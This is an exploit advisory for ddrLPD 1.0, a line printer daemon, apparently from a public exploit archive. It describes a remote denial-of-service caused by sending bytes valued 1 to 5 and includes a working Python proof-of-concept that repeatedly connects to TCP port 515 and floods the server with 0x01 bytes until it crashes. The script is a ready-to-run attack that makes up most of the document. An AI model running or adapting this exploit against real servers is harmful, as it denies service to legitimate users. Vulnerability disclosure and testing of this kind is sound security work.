ddrLPD 1.0 - Remote Denial of Service

source: https://www.securityfocus.com/bid/39904/info

ddrLPD is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

ddrLPD 1.0 is vulnerable; other versions may also be affected. 

#==================================================================================================#
#                                                                                                  #
#  $$$$$$$\  $$\                     $$\                                     $$\        $$$$$$\    #
#  $$  __$$\ \__|                    $$ |                                    $$ |      $$  __$$\   #
#  $$ |  $$ |$$\  $$$$$$$\  $$$$$$\  $$$$$$$\   $$$$$$\  $$$$$$$\   $$$$$$\  $$ |      $$ /  $$ |  #
#  $$$$$$$\ |$$ |$$  _____|$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |      $$$$$$$$ |  #
#  $$  __$$\ $$ |\$$$$$$\  $$ /  $$ |$$ |  $$ |$$$$$$$$ |$$ |  $$ |$$ /  $$ |$$ |      $$  __$$ |  #
#  $$ |  $$ |$$ | \____$$\ $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ |  $$ |$$ |      $$ |  $$ |  #
#  $$$$$$$  |$$ |$$$$$$$  |$$$$$$$  |$$ |  $$ |\$$$$$$$\ $$ |  $$ |\$$$$$$  |$$ |      $$ |  $$ |  #
#  \_______/ \__|\_______/ $$  ____/ \__|  \__| \_______|\__|  \__| \______/ \__|      \__|  \__|  #
#                          $$ |                                                                    #
#                          $$ |                                         Plastics Make It Possible  #
#                          \__|                                                                    #
#                                                                                                  #
#==================================================================================================#
#                                                                                                  #
# Vulnerability............Denial-of-Service                                                       #
# Software.................ddrLPD 1.0                                                              #
# Download.................http://ddr.web.id/files/ddrLPDsetup.exe                                 #
# Date.....................4/29/10                                                                 #
#                                                                                                  #
#==================================================================================================#
#                                                                                                  #
# Site.....................http://cross-site-scripting.blogspot.com/                               #
# [email protected]                                                  #
#                                                                                                  #
#==================================================================================================#
#                                                                                                  #
# ##Description##                                                                                  #
#                                                                                                  #
# Sending packets composed of bytes between 1 and 5 (inclusive) causes the the server to crash.    #
#                                                                                                  #
# ddrlpd.exe: The instruction at 0x50431A referenced memory at 0x0. The memory could not be read   #
# (0x0050431A -> 00000000)                                                                         #
#                                                                                                  #
# ##Proof of Concept##                                                                             #
import socket
host ='localhost'

try:
    while 1:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, 515))
        s.settimeout(1.0)
        
        print 'connected',

        try:
            while 1:        
                s.send('\x01'*8192)
                print '.',
        except Exception:
            print '\nconnection closed'
            pass
        
except Exception:
    print 'couldn\'t connect'